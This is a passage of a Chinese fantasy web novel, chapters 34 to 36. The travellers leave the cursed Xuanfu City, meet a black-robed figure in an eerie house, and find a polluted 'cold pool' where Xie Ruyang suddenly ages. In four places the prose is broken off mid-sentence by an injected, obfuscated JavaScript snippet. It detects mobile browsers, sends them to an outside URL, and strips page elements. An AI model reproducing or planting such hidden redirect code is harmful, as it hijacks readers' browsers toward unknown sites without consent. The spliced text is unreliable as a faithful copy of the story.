可正当她仔细查看的时候,身后突然想起了一道熟悉的声音。 “绛仙姑娘?” 她回头,长徽正站在她身后,看着她一脸疑惑。 “你为何在此?” 绛仙抱臂道:“我为什么不能在这儿?” “我不是嘱托你看着谢公子和赵姑娘吗?”长徽眉间隐隐露出一丝担忧。 绛仙却是随意:“我看那里头也没什么事,我就出来了。” “可是……”话说一半,长徽的声音突然停住了,紧接着一阵剧烈的房屋坍塌声就从城中传来,这城里只有赵袂和谢如恙两个人,这声音还能是从哪里传来的? 长徽眉头紧锁,“不好。” 绛仙也一怔,随后跟在长徽身后往那家废弃医馆的方向跑去。 还没走到医馆前,两人便已经看到了纷飞的尘土和被暴力砸开的墙壁。 在弥漫的尘土中,一个身影缓缓从一块断壁后站起身来。 乌黑的长发和细长的抹额飘带一同飞舞缠绕,单凭这一点两人就立刻认出了这人的身份: 谢如恙! 长徽飞身上前,按住他的肩膀,正要开口问他发生了什么就见对方脖颈僵硬一转,随后手成爪状,迅速的向他袭来。 “你这个背信弃义的小人,还不去死!!!” 一通喊叫让长徽懵了一下,什么背信弃义的小人? 很快,被长徽侧身躲开致命攻击的谢如恙又开口喊了第二句话:“还我夫人的命!” 这下长徽算是彻底明白了,面前的这个人,不是谢如恙。 于是,他定下心神,敛眉对上向自己俯冲过来的“谢如恙”,仔细观察着他的动作和招式。 显然,附在谢如恙身上的东西不是个学过武的,一招一式没有半点章法,有的只是无尽的恨意和愤怒。 长徽没有拔剑,也没有必要拔剑,赤手空拳几招之内就将“谢如恙”按在了地上,随后抬头寻找绛仙和赵袂的身影。 在长徽稳住谢如恙的同时,绛仙在医馆对面的屋檐下找到了些许灰头土脸但还是不掩其高贵气质的赵袂。 “你没事吧?”绛仙眼神有些躲闪,毕竟是因为自己没有信守承诺守在医馆里才会出这样的意外的。 赵袂摇头道:“无事。” “我……”一句对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850716|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起被绛仙努力遏制在喉咙里,只留下轻飘飘一句:“没事就好。” 赵袂自然也没有多在意,而是看向谢如恙和长徽的方向,正巧和已经结束战斗的长徽对上视线。 两人走近,看了看被长徽按下的谢如恙。 赵袂负手站着,对两人解释方才的状况。 听完,绛仙和长徽对视一眼,都明白了情况。 担心赵袂不清楚,所以长徽又开口解释了谢如恙容易被鬼附身这件事,赵袂先是诧异,很快接受后似懂非懂地点了点头。 “可是……”她目光在低着头的谢如恙身上徘徊,“此刻他身上的,好像不止有一个人的魂魄。一开始,他叫我还他的命,紧接着又是哀求哭诉,再然后就是你方才听到的,夫人?” 闻言,其余两人都安静了。 听赵袂的意思,这地方藏着的不止有一个鬼魂? 沉默片刻,绛仙蹲下身,抬起谢如恙的下巴让他正对着自己。 “你现在还清醒吗?”她问。 “谢如恙”面如死灰,双目无神,但听到绛仙的问题后瞳孔细不可查地颤动了一下。 见这东西能听懂自己的话,绛仙也放心了些,觉得这件事至少不会太难办。 “你叫什么名字,住在哪里?” “谢如恙”张了张口,转而看向刚刚因为打斗被震塌的医馆,“我叫,张贞,住在这里。” 绛仙一挑眉,原来是这医馆以前的主人? 她又问:“你是怎么死的?你说的背信弃义的小人又是谁?” 张贞疲惫地眨了几次眼,然后从嘴角溢出一丝嘲讽般的笑意,“还能是谁?我夫妻二人当初好心好意收留他,帮他妹妹治病调养,没想到他最后却把我夫人活活砍死,切成肉泥,这样背信弃义的小人,难道不该死吗?我一定要杀了他,让他死无葬身之地,让他此生此世永生永世都不得安息!” “所以,那人究竟是谁?” 张贞大笑着看向几人身后高耸的三座黑塔,咬牙切齿地念出一个名字:“程颂……” 话没说完,几人突然感到脚下一震,若非几人都或多或少地有些练武的基础怕是会被正剧烈的震动给掀翻。 远处高耸的黑塔和周围的建筑开始摇摇欲坠,赵袂意识到这地方不能久留,喊道:“先走,出城再问。” 长徽也点头,一把抄起“谢如恙”抗在肩上,确认赵袂和绛仙已经往前动作才跟上垫后。 等出了城,剧烈的震动突然就停下了。 不是因为城外没有震感,而是因为,这城也没有震动的意思了。 “这究竟是什么地方?”长徽不由发问。 肩上的谢如恙也在出城后昏迷了过去,不知道张贞的魂魄是否还在。 “不知道,这地方怪,城内也怪,那块石头也怪。”绛仙道。 听到绛仙说石头,赵袂才将目光落在了面前的那块巨石上,“什么,夫城?” 她将这两个字在口中念了一转,忽然想到了什么,蹙眉道:“玄夫城?” “什么?”绛仙诧异一瞬,然后见赵袂转身看向几人打算明早踏上的路,沉声道,“先继续往前走吧,路上我们慢慢说。” 34. 黑影 有书中记载,沿着汴京一直往北走,便可寻到寒潭,寒潭之中得见玄武,而在此途中运气若是好,就会看到一座城,名曰玄夫城。 这座城外观与其他城郭无二,但内有乾坤。 有人说这城内遍地金银,房屋摆设都是用金子做的,还有人说这地方水草丰盈,冬暖夏凉……在无数的传言中,有一条传言最得人信服,那就是粮食充实,稻穗麦苗长得极快。 哪怕是荒地上枯败的杂草,只要带入城中被城中水土滋养不过半日便能长得比人还高。 “照这般说来,这地方应该是个福地才是。”长徽背着谢如恙,脚步有些沉重,但还是仔细听着赵袂的话,恰当应和着。 看来没跟着谢如恙学习与人交往之道。 绛仙看了紧闭双目的谢如恙一眼,突然想到若是刚刚那番话放进谢如恙嘴里不知道会说得多激动兴奋。 听了长徽的话,赵袂却摇了摇头,神色有些复杂:“可是,物极必反,水草禾苗疯长的同时,城中之人的寿命也在随之变化。据说,一位白日出生的孩童,夜幕落下时就会长成一个垂垂老矣的老人,如此一来,与其说这城是一处福地,不如说它是一座诅咒之城,城中之人不过几日就被燃尽了寿命,最后将这座城变成一座死城。” 绛仙皱着眉问:“那些人不会跑吗?” “跑不了。”赵袂轻轻叹了口气,“这城中的诅咒会伴随在城中停留过的人一生,无论走出千里万里,跑到天涯海角,那些人都会随着城中百姓一样,一夜衰老,燃尽生命。” 绛仙一怔,看向赵袂的目光有些难言,过了好久才道:“那你……” 她和长徽本就非人,想必也不会遭这城的诅咒,可是赵袂和谢如恙就不同了,他们二人可都是普普通通的凡人,若是被这城给诅咒了那该怎么办?不会也和传言中的那样老死吧? 而且,刚刚也只有他们两人感受到了热,会不会那就是在燃烧他们的寿数呢? 关心的话绛仙说不出口,长徽便开口接上:“这诅咒可有什么解除的办法?” 赵袂还是摇头:“不知。这传闻写得太过漂浮,让我一度认为这只是前人编纂出来的,一开始我还未将此地将传闻中的玄夫城联系起来,若是早知此地异常,我们就不该进去。” 看着赵袂满脸的懊悔,绛仙抱着手臂随意道:“说不定这真的是个空穴来风的传闻呢?这传闻有几个是真的?” 一番话说得笃定,赵袂的唇角终于浮现出了一丝笑意,她看向绛仙,认真道:“借你吉言,多谢了。” 绛仙有些不自在地扭过头,留下一句无聊便加快了脚步往前走。 走了没多久,一点忽明忽暗的灯光忽然闯入了她的眼。 她惊喜回头,对着身后的两人喊道:“前面有灯!” 有灯就是有人,那就说明他们今晚有地方歇脚了!只希望那地方不要像刚刚那座城一样奇怪吧。 赵袂也喜了一瞬,快步走上前,站在绛仙的身边正要走却听背后的长徽喊道:“不对。” 两人立刻警醒回头,绛仙问:“什么不对?” 两人疑惑的间隙,长徽已经拎着一个刚到他膝盖高的孩童走了过来。 背上一个,手里还能拎一个,这样的力气让绛仙不由生出些惊叹来。 很快,她便将目光放在了那个孩童身上。 这孩子瘦瘦小小的,一双眼睛漆黑却无神,嘴紧紧抿着,即使被长徽这么拎着也没有什么动静,只是像一只初生的小兽一样一眨不眨地打量着面前的两人。 绛仙用手在他眼前试了试,这孩子竟然还是没有反应,直到她收回手好一会儿才尖叫着开始反抗。 绛仙挑眉,看向赵袂道:“傻子?” 赵袂示意长徽先将孩子放开,然后在他面前缓缓蹲下。 尖叫声的停止也隔了一段时间,等到他再次睁开眼时,面前是一张带着丝丝笑意的脸。 他愣了一下,然后对着赵袂嘿嘿笑了两声,算是示好。 见这孩子不怕,赵袂稍稍松了口气,放轻了声音问:“小朋友,你家住在哪儿?父母是谁?” 孩子呆呆地眨着眼,三人也知道他的反应慢一段时间,都耐心地等着他开口。 果然没过一会儿他抬起手指了指绛仙身后的方向,“那里。” 绛仙回头看了一眼,就是她刚刚看到的灯光。 “那刚好,我们送他回去,顺便借宿一晚。” 知道这孩子是那家的孩子后绛仙明显放松了很多,这样的话就一换一,不用欠人情,也不用低声下气地去求人家帮忙。 赵袂点点头,站起身来,牵上这孩子脏兮兮的小手,带着他一起往前走。 走近后,绛仙才发现这座宅子与她预想的完全不一样。 她还以为这前不着村后不着店的地方最好也只是一间小茅草屋,没想到这宅子竟然异常的气派,上下细细一数竟然有三层。 事出反常必有妖,绛仙垂下手臂,将双月握在手里,准备随时应对接下来发生的事情。 可令她没想到的是,推门出来的竟然只是一个脚步蹒跚,头发花白的老人。 在见到赵袂手中牵着的孩子时,她双眼一亮,连忙蹲下声揽住孩子的肩头,“诶呦,你这小子吓死我了,去哪儿玩了,我还当你丢了呢。” 面对老人的责怪,停顿了一会儿后那孩子只是嘿嘿笑了两声。 赵袂和其余两人对视一眼后,开口道:“这位婆婆,我几人路过此处,还有一位朋友受了伤,不知能否在此借住一晚?” 老人浑浊的眼珠动了动,僵硬地点点头:“可以,跟我进来吧,谢谢你们帮我把阿通带回来了。” 赵袂客气道:“我几人也要多谢婆婆收留之恩。” “不客气,进来吧。” 婆婆推开门请几人进去,这屋子从外头还能说得过去,可到了里头可谓是惨不忍睹。 一般的房子为了美观都要建些错落有致的景观摆设什么的,可是这屋子里却是光秃秃的一片,四四方方的,除过最正对门的那面墙建了楼梯之外,其余的几面墙上都板板正正地镶嵌着一扇门。 像是一个巨大的盒子一样。 “你们就在这里休息吧,动作小一点,还有人在休息。” 说完,婆婆便牵着那个叫做阿通的小孩头也不回地往上走了。 绛仙想要叫住她,却被赵袂伸手拦住。 等婆婆的脚步声消失,绛仙才道:“这里有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850717|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,大问题。” 长徽缓缓将谢如恙放在地上,对绛仙点头道:“确实有问题。” 赵袂却很是无奈:“这地方确实怪,但我看那位婆婆也没有什么恶意,我们便现在此处住一晚吧。” 绛仙张了张口,似是要反驳些什么,可是见长徽也赞同赵袂的提议,只能将话咽回去。 “我去外面看一看,可别有什么意外。”说完,绛仙就快步走出了门。 留在原地的长徽和赵袂对视一眼,似乎从离开玄夫城后绛仙的情绪就有些不对劲。 “劳烦长徽公子在此看顾谢二。” 长徽将刚刚为了背谢如恙放在胸前的剑解下,颔首道:“好。” 赵袂跟着绛仙的脚步出了门,见她此刻正坐在门口,架起腿,看着远处不知道在看什么。 “绛仙姑娘?” 绛仙的背影明显一颤,她皱着眉回头问:“你出来干什么?不放心我?” 赵袂先是一愣,很快明白了绛仙情绪变化的原因。 怕是因为方才答应了长徽要看顾好她和谢如恙两人,却一时不察让两人陷入了险境,内心愧疚。 赵袂缓缓走到绛仙身边,从变戏法似的从袖中拿出一个小包递给绛仙。 “这是什么?”绛仙后仰几分,没有接过。 赵袂又往前伸了伸,道:“你先拿着。” 绛仙迟疑着接过后,一阵草药的清香顷刻袭入了鼻腔,打开纸包后,只见一块小小的青色米糕躺在油纸中央。 嗅了嗅,还有艾草的香味。 “你给我这个做什么?”绛仙不解地问。 赵袂缓缓在她身边坐下,道:“今日辛苦,拿来填填肚子吧。” 绛仙闻言利落地把米糕抛回赵袂手里,“我不要,长徽更辛苦,给他吧。” 赵袂忽然觉得面前的少女别扭的有些可爱,便拉过她的手,再次将米糕放在她的手心,道:“这是专门给你的。” 绛仙盯着赵袂看了半晌,缓缓地收回手,问:“你为什么要给我?” “朋友之间,相互照拂。”赵袂从容答道。 绛仙却轻笑一声:“谁要和你们当朋友?我还当你是个利落的雇主,没想到你和谢如恙一样,莫名其妙的说什么朋友不朋友。” “这些天以来我们一同赶路,吃住在同一屋檐下,难道还不算朋友吗?”赵袂道,“那绛仙姑娘心中的朋友,又是怎样?” 绛仙默不作声地捏着手里还软乎的米糕,嘟囔一声:“谁要朋友。” 没有永远的朋友,只有永远的利益,在她看来最好的关系就是冰冷的交易关系,哪有什么朋友不朋友的? 她猛得站起身,正要赶赵袂离开,却忽然发觉一丝凉意正朝着这边袭来。 她顿觉不妙,眉间一凛,一把拉起赵袂,躲至一边,随手掐了个诀隐去两人的气味,压低声音道::“有人来了。” 赵袂心下一惊,念及屋内的长徽和谢如恙,道:“长徽他们……” 可还没等绛仙做出什么反应,那丝寒气就在夜中汇聚成一个人形,身披黑袍,巨大的兜帽遮住了他的整个脸,唯一露出的只有脸下黑洞洞的一片。 整个人如同夜幕一样,轻盈、无形。 35. 黑袍 看着他轻车熟路地走进门后,绛仙带着赵袂从墙角出来。 “这是人还是妖?”赵袂问。 绛仙少见的噎住了,刚刚经过的时候她也仔细感受了一番,想要从这东西身上找到什么妖气或者其他气息,可最后的结果却是一无所获。 唯一可以确定的是,这东西绝对深不可测。 在不知是敌是友且不知底细的情况下和那东西对上可讨不着好,可是长徽和谢如恙还在里面,而且那东西进去这么久里面也没有传出什么动静来,可别是遭遇什么不测了。 斟酌许久,绛仙还是道:“先进去。” 大不了自己拦着那东西让赵袂带着长徽他们走,刚刚已经掉过一次链子了,这次不能再出事了。 赵袂心存顾虑,但念在长徽两人的安慰只能点头:“嗯。” 绛仙几乎用了十成的功力掐了个诀,避免让对方发现自己和赵袂的气息。 悄无声息地走进去后,两人看到长徽和谢如恙正一齐躺在地上,双目紧闭,唯有还在起伏的胸膛能证明两人是活着的。 见此情形绛仙心下一沉,以长徽的实力,绝对不可能被这么轻易的制服,甚至连一点声响都没有。 那就说明…… 绛仙将目光放在那抹极黑的人影身上,不由庆幸自己费力隐去身形的决定是对的。 那黑袍人缓缓转动头颅,虽然看不清他的脸和神情,但也不难猜到此时他的目光正在扫视着周围。 最后,他的视线落在了地上的两位不速之客身上。 他缓缓走到谢如恙身边,蹲下身观察片刻,然后抬手托起一团黑烟,作势要向谢如恙打去。 绛仙瞳孔皱缩,也顾不得其他什么,提剑上前挑开了他的手臂。 黑袍人没有防备,被绛仙击退到十步开外,硬生生撞在了墙上。 绛仙挡在前面,对身后的赵袂喊:“带着他们先出去。” 赵袂点头应一声,一手揽起一个正要走,谁料那黑袍人大袖一挥原本大开着的门轻咳便被关上,没等赵袂反应,紧闭的大门就变成了一堵密不透风的墙,全然堵死了她的去路。 黑袍人抬起一只手臂,指向赵袂,不明所以。 绛仙侧身再次挡在赵袂面前,将玉剑横于胸前,随时准备动手。 黑袍人似乎愣了一下,歪歪头似乎是在审视面前的少女。 绛仙见他半晌不动手也不说话,干脆先下手为强,提剑便朝着那人兜帽下的脸刺去,黑袍人反应极快,侧身躲开。 下一瞬,绛仙便感到腰间被什么东西给缠住,低头一看竟然是一条黑得发亮的蛇! 绛仙下意识地想要把这蛇给甩开,可还没等她触碰到蛇身,腰间的蛇便忽然用力勒紧,似乎要将她的五脏六腑都挤成一团,她不住地咳一声,眼睁睁看着这条蛇逐渐上盘,变长变大,最后死死缠住她的身体,只留下脸供她呼吸。 “你放开我!”她盯着黑袍人,可对方却像是没有听到一般直直朝着赵袂走去。 蛇身越收越紧,几乎到了要窒息的地步。 电光石火间,绛仙忽然感到手心一热,一阵熟悉的药香传入鼻腔,她不由愣了一下,脑内浮现出一个名字: 谢如许? 只片刻,她回过神来,看着一步一步向赵袂走过去的黑袍人,心中只有一个念头: 今夜,她死都不能让这三个人死! 想着,她握紧手中的剑,借着那股不知从何而来的力量,自下往上的划过蛇身,虽然蛇身并没有被剑划出伤口,但她还是听到这条蛇因为痛苦而发出的嘶嘶声。 黑袍人脚步顿住,慢吞吞回头看向绛仙,然后抬手,将蛇收回宽大的黑袖之中。 正当绛仙和赵袂两人都以为即将要进行一场酣战的时候,这黑袍人的身体却开始渐渐透明,消失。 从下往上,如同方才在夜幕中出现一般,开始在夜幕中消失。 即使绛仙反应极快想要上前擒住他,可最后还是只抓到一团湿润的气体,不见其踪影。 绛仙想要追出去一探究竟,却被赵袂拦住:“别追了,先看看他们。” 闻言,绛仙才堪堪压下心头怒气。 被一个不知底细的人弄得这般狼狈,她始终咽不下这口气。 “他们呼吸平稳,应该只是睡去了。” 赵袂缓缓将二人放在地上,抬眼示意绛仙上前来看看。 绛仙不语,也没有动作,赵袂只好站起身,搭上她的肩膀:“我知你在想什么,此地有异,方才那人也奇怪,但是现在门被堵住,时间也已经很晚了,我们需要休息,再说要带着他们两个一起走也不容易,先休息一夜吧,明日再赶路。” 绛仙随不情愿,也认可赵袂的话,缓缓点头:“好。” 这一夜,两人都没有睡,坐在墙边守着晕倒的长徽和谢如恙。 这楼里没有窗户,便只能靠着赵袂一刻一刻的数着时辰来计算现在是什么时辰。 平日在外绛仙过得十分随意,天亮天黑对她没什么影响,也没有刻意去算过一晚有多少个时辰,对于赵袂有这个能耐也很是好奇。 赵袂听到她的问题后,轻笑一声:“当时皇宫陷落,我带着阿胤四处奔波,想要回到皇城,可是白日里有官兵追捕,就只能夜中赶路,事态紧急,一刻都不能耽搁,所以我们必须算好一夜有多久,要在黑夜开始的时候动身,在白日到来之前寻个庇护之所,过了一年这样的日子,我也就渐渐学会了计算时辰。” 想起儿时那段四处漂泊的时日,赵袂眸中少见的流露出几分感慨。 在宫中,事情是处理不完的,哪处有天灾人祸,哪位官员贪赃枉法……政事一个接着一个,赵承胤年幼又重病,所以所有的事情都落在了她的头上。 就算将政事处理好,下了朝她还要忧心赵承胤的病情。 这些年来,她不停地在代理君主和长姐的身份之间转换,没有一刻时间能让她感慨岁月无情,感慨人生苦短。 想到这里,赵袂看向绛仙,轻声问:“那你呢?我似乎还不知你的过去。” 绛仙垂着眼,手下拨弄着衣服上的红带子,沉默了很久,正当赵袂以为她不会回答的时候,她才轻声开口:“你知道白玉京吗?” 赵袂明显一愣,“白玉京?” 绛仙以为她不知道,便不在多说,“没什么。你好好算时间吧,我一个人静一会儿。” 赵袂眼底一沉,看向绛仙的目光多了几分不可言说的意味,点点头:“好。” 白玉京,她再清楚不过了。 那地方名字起得漂亮,可内里却是一处肮脏、血腥到极致的瓮城。 四处抓捕妖物聚集在城中,逼迫妖物相互厮杀,直到最后决出一只最为凶狠残暴的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850718|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖,供主人驱使。 赵袂得知天底下又如此不人道的地方后,想让那位主人停止这般行径,可还没等到主人回应,那城却突然被人一把邪火烧了个精光,连带着城中的妖物,一同变成了灰烬。 那城极其隐秘,天下几乎没几个人知道,绛仙又是如何得知的? 难道…… 赵袂落在绛仙身上的目光带上了些审视,难道,绛仙就是放那把火的妖? 绛仙对赵袂的猜测全然不知,只是在想着方才那丝突如其来的药香和莫名的力量。 谢如许,他究竟要干什么? 两人就这样各怀心思地待到了天亮。 天一亮,长徽便悠悠转醒。 他坐起身来,有些茫然地看向坐在两个角落的人,问:“昨夜……” 绛仙随意道:“一个黑袍人进来,你就晕了。” 长徽瞳孔微张,似乎有些诧异,“黑袍人?” 赵袂也点头:“嗯,那人似乎很厉害。” 长徽扶着额头,似乎想回想起些什么,就在这时,安稳躺在他身边的谢如恙突然发出一声惊呼,他急急忙忙坐起来,不停地摸着自己的脸,边摸边叫:“救命救命,我不要变老啊!” 长徽微怔,“什么?” 谢如恙苦着脸问长徽:“我的脸还好吗?还好吗?” 长徽愣愣点头,“好。” 谢如恙不信,又跑到赵袂面前,得到赵袂的答案后又凑到绛仙身边,得到绛仙当头的一巴掌后才停下了惊叫:“可恶,早知道就拿块镜子过来了。你们不知道,我昨天晚上梦到……” 话戛然而止,谢如恙看着长徽身后,吞了吞口水,整个人都贴在了墙上。 长徽见此,疑惑地转头,毫无防备地对上了一双双直勾勾看着自己的眼睛,这些眼神没有丝毫正常人的克制可言,直接且大胆地盯着长徽以及他身后的三人,好像是看一件商品又好像是在打量一只奇怪的动物,空洞而又恐怖。 被这样的目光盯着,饶是长徽都不由退后几步,脚步有些踉跄。 “这是……” 赵袂走到他身前,对着昨夜迎她们进来的婆婆行了一礼,“多谢婆婆留我几人一夜,今日便告辞了。” 那婆婆僵硬地点了点头,用苍老的声音道了一声:“走吧。” 赵袂转过身,对绛仙三人道:“好了,继续赶路吧。” 长徽和谢如恙虽然一头雾水,但还是跟着赵袂先离开了小楼。 昨夜那堵厚墙在不知不觉间变回了门,四人也可以顺利出去,可跟着四人一同出门的还有一位拎着桶的青年。 谢如恙看着他的桶,自来熟地问:“这位大哥你是要去打水吗?” 青年头也不转,道:“嗯。” 谢如恙一听,回身看向其余三人,得到肯定的目光后,继续问:“这里有水?我们一路过来只见到一丝细流,不知大哥要去哪里打水?” 闻言,青年停下了步子,整个身体转过来对着谢如恙,吓得他一个激灵。 随后,他伸出一条胳膊,指向前方:“那。” 说罢他便转正身体继续朝着前方走了。 谢如恙回到三人身边,兴奋地道:“会不会他们打水的地方就是寒潭啊?” 赵袂点头:“这一路过来也没有其他的水潭了,不管是对是错,先去看看吧。” 36. 争执 从小楼到水潭的距离应该不算太近,四人跟在青年走了好一会儿都没有看到水潭的影子。 一开始,四人都十分默契且谨慎地跟在青年身后五步之外,毕竟谁也不想和一个连物种都不清楚的人靠得太近。 直到后来走了好一会儿都没有走到,谢如恙率先坚持不下去了,累得厉害,唉声叹气好一会儿后壮着胆子凑上前去问:“这位大哥,还有多久才能走到啊?” 青年还是方才的语气,僵硬又死板,“走。” 谢如恙捶打着自己的腿,一向体力充沛,兴致来了徒步几里都不成问题的他还是头一次感受到老年人走路走多了,双腿的酸痛感。 “到底,要走多久啊……” 面对谢如恙不停地抱怨,青年置若罔闻,只一股脑地往前走。肩膀上担着的木桶也不知道用了多久,他每走一步便随着他的脚步发出吱呀吱呀的声音,也不知道用这样的桶接水能接多少,而且刚刚一眼看去,楼里的人可不少,只用这两只桶接,能够那么多人喝吗? 见他不回话也没有动作,谢如恙干脆放开了说话,一会儿问他是从哪里来,是哪里人,一会儿问他知不知道一座叫什么夫的城,一会儿又问他在这里生活多久了。 一路上,他不停地叽叽喳喳,身后的三人各怀心思,也没有人上前去阻拦。 直到青年猛得停下脚步,谢如恙没及时反应过来,跟着一个踉跄。 随后,他便看着面前的“水潭”呆住了。 绛仙三人也快步走上前,面对面前的场景,也不由皱眉。 带路的青年却是轻车熟路地走上前,将木桶整个丢入潭中,打上一桶水。 可是这潭里的和桶里打上来的都不能算作水了。 肮脏、漆黑、粘稠,仔细看去还带些怪异的彩色,像是从泔水桶里捞上来的一样,水面仿佛还飘着油花。 即使这水没什么怪异的味道,但谢如恙还是没忍住呕了出来。 赵袂眉头紧锁,不可置信道:“这里是……寒潭?” 她将目光投向长徽,长徽缓缓摇头:“寒潭是供玄武栖息的福地,此地没有半分灵气,不可能是寒潭。” “那这里还有其他水源吗?”赵袂深吸一口气后,仔细在周围瞧了瞧,不想就这样无功而返,可这周围是一片荒地,一览无余,哪里有另外的水潭? “你确定寒潭就是在这里吗?没有走错?”长徽敛眉问。 赵袂垂着眼,有些看不清神色,只是声音中的颤抖出卖了她,“书上是这么说的,可是……” 她也不知,那书上有几分真几分假。 两人交流的间隙,那青年已经打好两大桶“水”转身离开了。 路过绛仙时,她朝桶里看了一眼,确实是和潭中无二的脏水。 沉思片刻,她伸手按在了青年肩上,迫使他停下了。 “你知道一个叫张贞的人吗?” 闻言,绛仙感到手下本就僵硬的身体明显一僵。 青年像是一只腐朽的木偶一般,缓缓地、缓缓地回过头来,不知道是不是错觉,绛仙好像听到了骨头间的摩擦声,一双无神的灰色瞳孔一眨不眨地盯着她,早已干裂的嘴唇轻轻张开:“死了。” 绛仙见有效,便继续追问:“怎么死的?” 青年喉头滚动了一下,沙哑道:“被刀剐死。” 绛仙略一挑眉,放手让青年离去,然后转身看向还在推测寒潭下落的两人,她惊觉:谢如恙呢? 她赶忙环视四周,最后在一块大石头上看到了谢如恙的身影,他正坐在上面,弯着脊背,一下又一下地锤着腿,来缓解双腿的酸痛。 绛仙走上前,拍了拍他的肩膀,“好了,准备回去吧。” “回去?去哪儿?” 此话一出,在场所有人都愣住了。 原本还在讨论下一步该去哪里的长徽和赵袂也都睁大了眼睛转头,绛仙瞳孔微缩,带着诧异掰过谢如恙的脸。 入眼的,不是谢如恙平日那张笑嘻嘻的脸,而是一张满是皱纹沟壑,双唇瘪起的,苍老的脸。 绛仙把手放在他脸上又摸又捏,可是就连他的皮肤也变得松垮、干瘪。 她微微颤抖着问:“谢如恙?” 谢如恙似乎还没意识到自己身上的变化,看着面前极其诧异的三张脸,懵懂道:“你们……怎么了?都这么看着我干什么?我脸上有什么东西吗?” 绛仙的手缓缓垂下,顺便带落了谢如恙鬓边的一缕白发。 白发映入眼帘,谢如恙惊诧地捻起,放在眼前好一会儿才看清楚。 “我怎么了?我的头发,我的头发怎么白了?” 谢如恙一惊,想要站起身来,可下一瞬,一阵眩晕和骨头的咯咯声就同时袭来。 他双腿一软,向前倒去,被绛仙接住。 长徽三步并作一步走上前,剑指在谢如恙两肩各点一下,暂时护住了他的心脉,保他不会继续老下去。 随后,他回头看赵袂:“那个传闻。” 赵袂也心下一沉,动了动手臂,却没有感到有任何怪异之处,蹙眉道:“为何我没事?” 绛仙和长徽也怪。 要说入城之人会受诅咒,那赵袂应该和谢如恙是一样的,为何谢如恙变了,赵袂却没变呢? 长徽问:“你可有受过什么术法洗礼,或是和常人有什么不同?” 赵袂仔细回想了一会儿,毅然摇头:“没有。” 绛仙看了谢如恙一眼,道:“先别管她为什么没事了,想想谢如恙要怎么办吧。” 赵袂走上前,“对,谢二公子情况危急,可我们能有什么办法?” 三人一起搀扶着意识已经开始混乱的谢如恙坐下后,都陷入了沉寂。 玄夫城,诅咒之城,老死。 奇怪的楼,奇怪的人,还有昨晚那个带蛇的黑袍人。 寒潭、玄武、天书…… 一个又一个的问题先后涌入绛仙脑中,像是一团被打乱缠绕在一起的毛线,想整理都不知道该从哪里下手。 谢如恙回过神来后,见周围的大家都不说话,一脸凝重,顿觉无望,试探性地问:“我是不是,救不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850719|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来了?” 周围依旧没有一个人答话,谢如恙的一颗心顿时沉入谷底。 “你们能不能给我个痛快啊,我会不会死啊?还是说,以后就这个样子了?我不要啊……我,我我要找我哥,我哥呢?我要找我哥……” 眼泪像是决堤一样从皱纹间滑落,绛仙别过脸不去看,可谢如恙的哭声越来越大,吵得她心烦,干脆吼一声:“别哭了!我们不是在想办法吗?又没说救不了,一遇到什么事儿就哭哭啼啼的找哥,你当你三岁小孩啊?” 谢如恙本来就难受,被绛仙这么气势汹汹地吼一通,心里更过不去了。 他哑着嗓子,回道:“怎么了?你们一个神仙一个妖,老不老死不死的对你们当然没什么要紧的,我就是个普通人嘛,我就是拍死怕老嘛,当初还不是你要叫我过来的,不然我会变成这样吗?我还不能哭了?而且,我有哥我怎么不能找了,从小到大有什么事我哥都会安慰我,照顾我,我当然要找他了!” 长徽抿着唇,他本想着安慰谢如恙几句,让他先放下心来,可是被他的几句哥哥打乱了心绪,还没等做出反应就见绛仙一掌就要想着谢如恙劈过去。 他截住绛仙的手,死死握着她纤细的手腕,“绛仙姑娘,冷静!” 绛仙的手轻轻地颤抖着,抬眼看他:“你拦我做什么?我很冷静,他不是怕死怕老吗?那我把我的的妖力移到他身上,我替他老替他死总行了吧?!” “这……”长徽一怔,没想到绛仙竟然是这样的心思,一时无言。 